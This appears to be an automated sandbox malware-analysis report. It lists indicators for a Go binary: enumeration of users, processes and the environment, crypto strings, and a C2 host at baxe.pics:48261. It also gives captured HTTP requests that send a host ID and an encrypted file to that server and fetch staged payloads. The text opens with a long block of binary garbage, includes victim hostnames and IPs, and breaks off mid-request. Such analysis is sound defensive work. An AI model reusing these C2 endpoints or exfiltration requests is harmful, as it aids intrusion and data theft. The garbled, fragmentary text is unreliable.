âµJõDlßz}¹rÁÞÓ¾KþøxXjO2âõ~çlùPûåØ7µâð§Xß¹{Ä4L7&o¡ô¡oû´tÔSF÷âiÏãr'«¤"ksS¤QqaÐ®ú*E2Üè1¡Ø2iÅMÿði¬^üNÄ5Òüñ_2þ6nxæõøó¬/ê´ög?PËi?µ¤à³zcÂäVnLÓx-TÇ`%"¨EâØV´Üîû`{íeîK!ÝZV-º50j·ú52ßi#©áÚ(ÛhHÆé¼ùMäèºK¢Ìiî}êÚç·¼6aNûk®×¥ãekD*N:ýJMÛ3¤kåJ¾Ô3¸ÌXÃ²ÍYë9rÄQÈºÑh<ß9hWÃSõâ'#eÊkf>[/yP¤QSÍÃ3Tþ«µÜí+¯`êþ8WïÄü~ö jzÝTÌ+t)/Hnj|µ+Í`¬;yAFë!#OvÔXmüpþ£øêì¶hE@@¥è/<ÒF×ö9Ã"±¹ÿ5ÍXb2 ÷Ðrn¼ÚñÎE6Ó9g1ª^RðPðdôd¹ÜiU³ÀW`ìá;ão(ø$òqÂ\6tx¼ªþLp²:yBhObÇÕ-Ò»'R ¥ÝiôÇ|&½_¼`wj`ãíéôsJy¤ÂG9Ù\[ÂØ·T!0ñÎÊ]súJNh[ÂD`¡UBÏb¡DÈäÕé>LæÎû[´ý¨ÄÊsÜ·R1Þ%}ð<¹Ê"Pï-}9¾eEß£ZèS`="6¬¼ªj±}]\úv"ã<5ôE'ÏþLðu×ÉNþ"XÜ"Uz£t®6*)"²óáH¹S£Lc½¯aô@s6¥e}ÖZ!Z¿B×;:¿02Vv^IÇ¹ÈÛØA¶;C½q¾ØO×eÇ">?òÅÍ^â£mì±x@£;²8Fr:|³»ÃdqføÝ°xmz0ðß¦Téý¾}ÍÅéIð4¬ÀÄXÕPäKÑÕ[2ºösCwGÁ I)ID}ú¶÷8ÝùtÚðàHëy+è¸l?=³®¢yîÞòaÍ\ºù$$*Ô³cTBä¦^Uk1PÔ¿¸ôÓ^.Qï[_ÄòÀCúx¥ ém÷ºÄPj:e¬KyÈ<\%3ia§zqz»ì[ £µÛí}÷ýXóÁ¼¡[Â®='_ciÎó¥:*®·!ëVÙW¿£vD/»ôÈ£8!O¼³ÃªE~W`ÜFïYñÃ>&±7\l¢ÐoÌ±þ&l; fLÃSÉ6Axú7^e¡o6Í^Ò2Q¼ÙñY î4|÷K._ç;·BfâGü%d8\6Yxá¶ÐwfsÆT}Ú¡.èf¤^!¹úÄß¸(¾´ÙoÇJ±OÇÎv¡ë¶^¤ü¥n$J_}ÑkA@AÃírD½ÆYËújc&&kõzüå.©¼È¬jO[êÌ5ë0Î{Uõ$Æ®Õï1Ù¬ù'#iJ°x®XrÓaOhPß´éqü\ÔqÌãK-·B½³ð¹v{VZ»Ý#î5ßõÛgµç³A:~µÌ=h}Û!¤7TÕ7:¦¯;ã=õTñÍ¢Mdw¾Ûjßý¢,(ûEKZ¡óü¯¯@KL<ÚÒtíyæÈÏí"µLã!/¶ífÔÓFÉ4Õ¤ó/Ë+Kàh=üuìL¬sÄùäu9D~-Pì4lYÂÎ`u~E÷ßgï&àá¸LÅ/áPÓÛ÷è ·('Ëø`1HÁìP_=ï½ÊJ?Òú.Ù7/ÃAÜ§û»g¨z¨<@é5m«D©ÅãàÅ/,Ø¹RÐ0à[áwRQ2@ÉÆ±ðÝ¡ÁÈ¥pÃÆÂØÆzàò.Z*V@ë0ÍSÃ±ð{¿·ïPýµé+°ù:g!®2Rd£àkÙîThCÝ÷S:R®wÀÄ9>À7Î¿´+óudb¸wC¾`¼ÍêýÓ0®ÿÚ©ErÞ/Uhw&´àIÁ<=T0JÞÜ_÷Ã¨Äb)H?íNfKGº³ÒU2AödEÞdyÁòj¬Í§xEPx(BrÂ»¬Cvn)Ä9³þâh}o³ajHåy¦$5ys)A¢bçS-³0fÀ1SõÐe\_Â¦ÒÆê"HÔëvôÚ+Ã°ùä¿Kûx!-]ÅaÅFM3ìÉVoýó®Ò¿m5m;ÔkE|ÛOÂ`°é÷Á·8o3Bañ¥9gilBõTãVtøÂtÓYiÇç¬è¦¶Ñ£b`,³3HézsóÏuSÆávèÅ÷ÄiÙ5èXH4>ã¦¥¼B¾úßú¥µS¡Ø-ñÛ\8Q0Hxé6¯¿Ìì3?¦¤ô ÜÐÂÖ+ZÛ®~UUj¦úÌ»ddh¤¹å@vc+@z,³NáRå#hh>ÍðÕhÎ8;4vÃïµÃ)´ÚâáØ²=#ÕÂòï¶×¿éÊð#wÝwm+ ºiq¯Æðã«¥"kÐâÝXÛ¡yäÑ(Yµ/µi±1Ôèrè9B¦+v`zXzx)'o]Æì_}å/>äCòX$¬ËG'Ùã+f{½ÈrëG=§¶Þ6Þ/±Ð¿#VAÊ±Á<^*èí ¨©ÏJþß³DøjØó>]|«W¦¼ROà%ô>GÖ.pÆc×¨8ªMâm¥Âë©üÞÔÍR#3tT.K&Ö3Zk¤d"òðÛÉ#üÎæ¦¨É;GÛÙý½lä±í6Ò+õb43GÍäÐîßC[YÎèOqC:ZÍd»J+=Iýu+¨ßUÂÕ÷íxuRñÍ>}I¨½+Ôë4yRý-xæ©Á~oÄyý}I8Înv¼ÄEIHÞÉ©Ü.oUz{ÒéBFÃ]²¸UÓ=2þóÞbá§¼©õù°8Q«ì×æE¦/±Æ[|p©Hxåßø¶½6EÂÈ×¤óÊqjÞÌõâÈ´]ø²|[ßoïæDÞ1¹|=¡Ï²Þk5J±@ð-?WÆ±þîBÀ×ÃÆÌkÉsmfz*¶Û[tâ¿â®£²±%0:k]^EÄRÀÀ¾x2æo¸gOµ·w¼U1ßçÀY5¯.ñå(Þ~Éä$íAAXM@O1¾ÒÓwmßÊS;¿}a£ë-íyYi3kqcú¿ê»\ìÒÈÜ[B{GÊ+7Pf¤/¾ó`éÝ=RâÙ¶¨?)uf²ALryÉbsoéÂöÐP³çm¸ÂÐÈK¦ÎÌBáúáìYf¨o?EKövÿ2âûöÉV²¥Q5îO¾©m`^.{*àKtùQ«&^ôæX?9h1vµ3.ÃYîgâ¬X]º·{ÖYÈ/7iT´o);K%~ÐÔKPÖÈ/ \líåÃ}OØ1#¦)·aâEu,¶e_ Uæô`ìî<êË@J&êFLCßè+±g¢25-ð¸m/\'3±»]ÚºL¼@îJqmÖùK·æO¶ú´ÉFÇkSTß¿³)g =yweáë4}-ë?úÇîº5í6åm0Z(ì2:7Ï?Ç¨WGKoåRSXÑ8aPRvMÌHØ²¹ü~$JÝ²Æê,xJJ,[Ò'>eî¦¾EÖqt(æJhÅÇ("ã{(#¬þ Ì¨?>ü«½\»23@5é9¯p~R¿ïÁììB+¶+dÞ²XEË·¿+½SMaþà4[ªõÙ´-ùfg&¨JAo¸ï&<â££ÜAæI|¿m¼Ã´J³©ÜW¾ì?.uç>ºtöìJúýoKeu$tçzsï¶º¤ß×ÁoN°3¥ôGç·ÝÏ`å/'³Üï#Ëø´+>[ÅË3í!ßáÿíÝÐ·`±Ñ°itµkºßD¦úÍa\³:o8£2¿è~Þìrã¢Ýÿ< $÷ÈÇ_^R3àã¢$÷Ó/Ùë?W$GÃí:d«£ÇJ8â6çO1ÕÖÁZÅì_~Á8ä¤od±6'XQÅL÷C7©Ù'lcôßu·ï-OcPaj|å°ÍÁuiè9m¼^´\9Ý%d½>W1A¥Ãl¨¬:äÅ_[ÒAÈ`$||!]®ïDsK Ë¸Ý¿3$o[\RãY+`çX^ÀúÞ>¹×m^Õ`wl©ñbûP4Ý1.»<©5µóàïâQÞ¯ýö-R|]äMñöC^ÿ¬ï0)b¾0\ÁµùÞ)Í£ìÑ²Ó×:Î[ÊMÝÀtBlö(aâlRE`â"óÛÄ3ÖÕÃ2§±ú0±¬åF!qÈ [¢¯8Wæ\,;ªqdF:üF¡÷Î+`³â/âJçíâÑ×zzÄ0/c7[+{îÐì 6J³l$×7ýýÁ5px®¶"ã±^¨±©MYC$þ"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=Z1XFykD5u"; Source: "00000000-00007220-00000CCC-3568859526") Found string "--Z1XFykD5uContent-Disposition: form-data; name="access_token"8df828e7-3e07-4895-8c7a-b81a3fc4d185--Z1XFykD5uContent-Disposition: form-data; name="type"0--Z1XFykD5uContent-Disposition: form-data; name="file"; filename="data"Content-Type: ap"; Source: "00000000-00007220-00000CCC-3568859526") Found string "Content-Type: multipart/form-data; boundary=6u5kJLgJReT5eBR"; Source: "00000000-00007220-00000CCC-3592249949") Found string "--6u5kJLgJReT5eBRContent-Disposition: form-data; name="access_token"8df828e7-3e07-4895-8c7a-b81a3fc4d185--6u5kJLgJReT5eBRContent-Disposition: form-data; name="type"0--6u5kJLgJReT5eBRContent-Disposition: form-data; name="file"; filename="data""; Source: "00000000-00007220-00000CCC-3592249949") Found string "Content-Type: multipart/form-data; boundary=6u5kJLgJReT5eBR"; Source: "00000000-00007220.00000001.293825.14575000.00000004.mdmp")47:T44c,file/memory contains long string with (Indicator: "wsastartup"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "wsacleanup"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "gethostbyname"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: " send "; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "wsastartup"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "wsacleanup"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "gethostbyname"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp")48:Ta02,Found URL "http://baxe.pics:48261/7c6b952dfe3dd2ea58d68314389baxe.pics952dfe3dd2ea58d68314389dbf9952dfe3dd2ea58d68314389dbf9:\windows\system32\wbem\wbemprox.dllindows" - Source: "00000000-00007220.00000000.292436.144F0000.00000004.mdmp") Found URL "http://baxe.pics:48261/baxe.picsnegotiatenegoextenderkerberosntlmtsssppku2uschannelos=windows_ntpath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;%nvm_home%;%nvm_symlink%;c:\users\hapubws\appdata\localrpc:[odesktop-fvvf82ahapubwshine\soy83143q.exerpc-c4ad9ef8754d3e2322rpc-c4ad9ef8754d3e2322rpc-c4ad9ef8754d3e2322rpc-c4ad9ef8754d3e2322rpc-c4ad9ef8754d3e2322rpc-c4ad9ef8754d3e2322rpc-c4ad9ef8754d3e2322rpc-c4ad9ef8754d3e2322windows" - Source: "00000000-00007220.00000000.292436.144F0000.00000004.mdmp") Found URL "http://baxe.pics:48261/baxe.picsdesktop-fvvf82a192.168.0.22001:0:14c9:dc0e:28c5:414d:bf83:f35ddesktop-fvvf82a192.168.0.22001:0:14c9:dc0e:28c5:414d:bf83:f35db+ncalrpc:[olee38ed92e23eab8d1da12f0243c1f]t" - Source: "00000000-00007220.00000000.292436.144F0000.00000004.mdmp") Found URL "http://baxe.pics:48261/rpc" - Source: "00000000-00007220.00000000.292436.144F0000.00000004.mdmp") Found URL "http://baxe.pics:48261/http://baxe.pics:48261/c:\windows\system32\ondemandconnroutehelper.dllhttp://baxe.pics:48261/48261/c:\windows\system32\ondemandconnroutehelper.dllhttp://baxe.pics:48261/http://baxe.pics:48261/homedrive=c:629957,8076,0,px=0,px=0\l" - Source: "00000000-00007220.00000000.292436.144F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007220.00000000.292436.144F0000.00000004.mdmp") Found URL "http://baxe.pics:48261/local\opera" - Source: "00000000-00007220.00000001.293825.144F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007220.00000001.293825.144F0000.00000004.mdmp") Found URL "http://baxe.pics:48261/baxe.picsbaxe.picsbaxe.picsyper-v" - Source: "00000000-00007220.00000001.293825.14575000.00000004.mdmp") Found URL "http://baxe.pics:48261/http://baxe.pics:48261/9andhttp://baxe.pics:48261/48261/9andhttp://baxe.pics:48261/48261/c:\windows\system32\ondemandconnroutehelper.dllhttp://baxe.pics:48261/http://baxe.pics:48261/9andhttp://baxe.pics:48261/9andhttp://baxe.pics:48261/qqqqqqqqqqqqqqqqtimrtimrhrbt" - Source: "00000000-00007220.00000001.293825.14575000.00000004.mdmp") Found URL "http://baxe.pics:48261!this" - Source: "00000000-00007220.00000001.293825.40000000.00000040.mdmp")49:T6f2,file/memory contains long string with (Indicator: "GetUserName"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "LookupAccountName"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00007220.00000000.292436.A7800000.00000004.mdmp, 00000000-00007220.00000001.293825.40000000.00000040.mdmp") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountName"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp")4a:Teeb,Found string "chacha8" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "aes"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "runtime.initAlgAES" (Indicator: "aes"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "aeshashbody" (Indicator: "aes"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "internal/chacha8rand/chacha8.go" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "internal/chacha8rand/chacha8_amd64.s" (Indicator: "chacha"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "runtime.useAeshash" (Indicator: "aes"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "runtime.aeskeysched" (Indicator: "aes"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp, 00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp, 00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp, 00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found string "internal/chacha8rand.block" (Indicator: "chacha"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp, 00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp, 00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found string "aeshashbody" (Indicator: "aes"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp, 00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found string "runtime.useAeshash" (Indicator: "aes"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp") Found string "runtime.aeskeysched" (Indicator: "aes"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp")4b:T5c4,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "Process32Next"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "Process32First"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "Process32Next"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "Process32First"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentProcess"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp")4c:T5bd,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "GetProcAddress"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp, 00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp, 00000000-00007220.00000001.293825.873A2000.00000002.mdmp") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00007220.00000000.292436.87508000.00000002.mdmp") file/memory contains long string with (Indicator: "GetProcAddress"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp")4d:T4ab,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "GetTempPath"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "5f6c6f4b31ef79e5ef7c6b952dfe3dd2ea58d68314389dbf959116e4e940067f.bin") file/memory contains long string with (Indicator: "GetFileAttributes"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentDirectory"; Source: "00000000-00007220.00000001.293825.873A2000.00000002.mdmp")4e:Tc3b," "access_token=&debug=http://baxe.pics:48261-74" HTTP/1.1 200 OK Server: nginx Date: Sat 18 Apr 2026 00:15:55 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 74 Host: baxe.pics:48261" with payload::==> "tag=6de0c4e3ba4a5fb8b6d96b2c2fa2e1c8&hwid=86dad1c5483efbe98bc17055f1d0373f" HTTP/1.1 200 OK Server: nginx Date: Sat 18 Apr 2026 00:15:56 GMT Content-Type: application/octet-stream Content-Length: 117 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"75-64pBQQyTEaWDy8IecsuuJ9Q3ls8" with response body ==>C298C29AC39DC282C2BD6CC38071C294C3B9101A12C39A5664C380604263C2AE35C2B4C29AC3B6C2A6795C6EC38A77C387565C35C39CC2BBC3AB3EC3BDC2AC31....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=http://baxe.pics:48261-883" HTTP/1.1 200 OK Server: nginx Date: Sat 18 Apr 2026 00:15:56 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=Z1XFykD5u User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 883 Host: baxe.pics:48261" with payload::==> "--Z1XFykD5uContent-Disposition: form-data; name="access_token"8df828e7-3e07-4895-8c7a-b81a3fc4d185--Z1XFykD5uContent-Disposition: form-data; name="type"0--Z1XFykD5uContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-stream bEßÞ+gìsÄ!xùÚ*iXíü@Ì0Ï£°Í1ÆyæØ.ðýå)%YâÖGÈ7¹Ï°)¥ò°#5².3òå&ªZt+Á^uª¸ü~UÿßÃ½!»è§-E »Ó×´Üñ¬<¢J»®Ý¤á#x²û{ÀM;·kS¼*ÐÚçÈ4Rb82±}TÂÖ¿Æ%ÓÖfnÒv,Z¥cëOÃ{3x¤ÆÃpH\ïjØa1£Eæ±ò(Æ{ _§^ý°W³~X§É±B0¥âT#7q®?;SØ@yõÿ5ú ¯'db@ÄÉÎ$_½L*¿,Mià%^7ÙÛæS!X)XP:k×v9ãTBAÛl<ËàÙÉÙ* "·b¿Á@«¥ÒN:í@§C«r¦Ø¯--Z1XFykD5u--" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:15:56 GMT Content-Length: 8 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true with response body ==>7265636569766564......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=http://baxe.pics:48261-56" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:15:57 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&step=1" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:15:57 GMT Content-Type: application/octet-stream Content-Length: 2457 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"999-pfqkV4jqVcIc7Peb53zOUkp05sI" with response body ==>27C3B6C3AE29567E02C286C2BB5E3BC2B545C3AD2CC2BCC2A9C389C3B151C38C034516C3B46824C2AD1CC39BC2A7275AC3A0C3B6C295C38FC3AE207B1E1DC3BA......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&debug=http://baxe.pics:48261-56" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:15:58 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: baxe.pics:48261" with payload::==> "access_token=8df828e7-3e07-4895-8c7a-b81a3fc4d185&step=2" HTTP/1.1 200 OK Server: nginx Date: Sat, 18 Apr 2026 00:15:58 GMT Content-Type: application/octet-stream Content-Length: 4686 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"124e-Wt4hjzOkw6BjC40pkMFrKQG0TGw" with response body ==>C3AF42C3B21B13C2BBC3A91BC3AF43374DC28307C39348C394C280C388401EC29F451240C399C38FC3A2C387C289C3B70B26C398C286C3BA5642C29DC29F2BC3......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: 